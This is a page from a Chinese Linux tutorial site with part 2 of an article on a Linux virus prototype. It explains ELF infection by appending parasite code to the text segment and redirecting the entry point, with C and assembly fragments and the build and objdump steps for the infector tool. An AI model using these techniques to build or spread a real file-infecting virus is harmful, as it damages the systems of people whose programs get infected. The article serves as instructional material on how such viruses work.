文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | firefox | WPS | 杀毒软件 | Picasa
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形图像 办公软件 媒体动画 精文荟萃 常用软件 网页编程 技术开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院操作系统 LinuxLinux病毒原型工作过程和关键环节
精品推荐
特别推荐
·为何Linux比Windows更安全?
·Linux和Unix最常用的网络命令
·Linux系统下安全防护十大招数
·Linux各种服务器的架设
·Linux操作系统下用单网卡捆绑双IP
·恢复被误删除的Linux文件
·在Linux服务器上做备份和恢复
·Linux中网络参数的意义及其应用
·linux知识大全
·解析Linux服务器远程控制技术
·新手关于Linux系统的一些错误认识
·Linux系统至少有五大点比Vista更好
·Linux攻略 关于Apache安装、配置、优化
·详细讲解Linux操作系统的进程管理的功能
·解决Linux和Windows双系统的引导问题
·新手学堂:Linux操作系统安全性能检查笔记
·600个优秀网站
·提高Linux操作系统网速的方法
·Linux系统下挂载硬盘光驱和U盘的方法
·Linux发行版图标大全
热点TOP10
·Linux常用命令详解
·Linux学习手册
·Linux各种服务器的架设
·RedHat linux 8.0下内核编译步骤和说明
·网络组建大全(包括企业网、校园网、网吧和基础知识)
·linux下jdk的安装与配置
·Red Hat9.0与Win XP双系统安装指南
·服务器系统:Unix平稳 Windows欲甩Linux
·VMware中Linux内核2.6.14.4编译全过程
·LINUX 常见问题1000个详细解答
·Linux系统下的网络安全工具详解
·Linux无盘工作站架设实例
·Linux系统下挂载硬盘光驱和U盘的方法
·linux知识大全
·用.iso文件从硬盘安装redhat linux 7.3
·入门:Linux 2.6 内核的嵌入式系统应用
·Linux下安装和使用杀毒软件AntiVir
·“红帽”发布Red Hat Linux 9操作系统
·Linux系统安全机制进阶分析
·Linux配置DHCP服务器

Linux病毒原型工作过程和关键环节

日期:2008年3月27日 作者: 查看:[大字体 中字体 小字体]



  上面对病毒原型的工作过程的介绍也许显得千篇一律了,和我们早就熟知的关于病毒的一些介绍没有什么区别?是的,的确是这样,原理都是类似的,关键是要看实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。

  四、关键技术问题及处理

  1 ELF文件执行流程重定向和代码插入

  在ELF文件感染的问题上,ELF Infector与病毒传播时调用的infect_virus思路是一样的:

  * 定位到文本段,将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉ELF文件的格式,将病毒代码复制到文本段尾部后,能够根据需要调整文本段长度改变所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部分与一个.setion建立关联,防止strip这样的工具将插入的代码去除。还有一点就是要注意文本段增加长度的对齐问题,见ELF文档中的描述: p_align

  As ``Program Loading'' later in this part describes, loadable

  process segments must have congruent values for p_vaddr and

  p_offset, modulo the page size.

  * 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向: /* Modify the entry point of the ELF */

  org_entry = ehdr->e_entry;

  ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;

  2 病毒代码如何返回到真正的ELF文件入口

  方法技巧应该很多,这里采用的方法是PUSH+RET组合: __asm__ volatile (

  ...

  "return:\n\t"

  "push $0xAABBCCDD\n\t" /* push ret_addr */

  "ret\n"

  ::);

  其中0xAABBCCDD处存放的是真正的程序入口地址,这个值在插入病毒代码时由感染程序来填写。

  五、 新编译环境下的调试方法 grip2@linux:~/tmp/virus> ls

  g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c

  Makefile parasite-sample.c parasite-sample.h

  调整Makefile文件,将编译模式改为调试模式,即关掉-DNDEBUG选项 grip2@linux:~/tmp/virus> cat Makefile

  all: foo gei

  gei: g-elf-infector.c gvirus.o

  gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG

  foo: foo.c

  gcc $< -o foo

  gvirus.o: gvirus.c

  gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG

  clean:

  rm *.o -rf

  rm foo -rf

  rm gei -rf

  编译代码 grip2@linux:~/tmp/virus> make

  gcc foo.c -o foo

  gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG

  gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG

  先获取病毒代码长度,然后调整gvirus.c中的#define PARACODE_LENGTH定义

  grip2@linux:~/tmp/virus>. /gei -l <.这里获取病毒代码的长度

  Parasite code length: 1744

  获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移 grip2@linux:~/tmp/virus> objdump -d gei grep aabbccdd

  8049427: 68 dd cc bb aa push $0xaabbccdd

  grip2@linux:~/tmp/virus> objdump -d gei grep ""

  08048d80 :

  8049450: e9 2b f9 ff ff jmp 8048d80

  grip2@linux:~/tmp/virus> objdump -d gei grep ":"

  08048d80 :

  0x8049427与0x8048d80相减即获得我们需要的偏移,用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值

  重新编译 grip2@linux:~/tmp/virus> make clean

  rm *.o -rf

  rm foo -rf

  rm gei -rf

  grip2@linux:~/tmp/virus> make

  gcc foo.c -o foo

  gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG

  gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG

  grip2@linux:~/tmp/virus> ls

  gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c

上一页 [1] [2] [3] 下一页 




上一篇:用独立的DLL来存储图片(资源文件)

下一篇:

Linux病毒原型工作过程和关键环节 相关文章:
·一个防止U盘病毒的小技巧
·轻松找到恶意网站中藏的病毒
·不再怕电脑病毒 电脑中毒后的6招处理方法
·杀毒技巧系列:杀毒、防恶意代码、脚本病毒的不完全合集
·清除系统隐藏病毒文件全攻略
·上网不再怕中毒 教你一招克死所有病毒
·Windows Vista对付ARP病毒有新招
·如何让你的U盘做到100%预防电脑病毒
·灭毒有招 如何全面清除计算机病毒
·各种病毒分析及攻击防御手册
Linux病毒原型工作过程和关键环节 相关软件:
·卡巴斯基®反病毒软件V6.0.2.621 中文版
·U盘病毒专杀工具(USBCleaner)V6.0 Build 20070812
·Autorun病毒防御V2.0 Beta 2
·VBS脚本病毒生成器 V1.0 版
·Ewido Plus(防木马软件) +Ewido病毒库升级程序 V1.0v4.0.0.172B 汉化版
·澎湃 番茄花园漏洞补丁 bat&reg 漏洞比病毒可怕
·中了爱情病毒
·eSafe Desktop 病毒码 2003.12.16
·Damage Cleanup Engine(趋势流行病毒专杀) v3.9.1020
·计算机病毒防治教程

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.viphot.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.viphot.com All Rights Reserved. 鄂ICP备05000083号Powered by:vipcn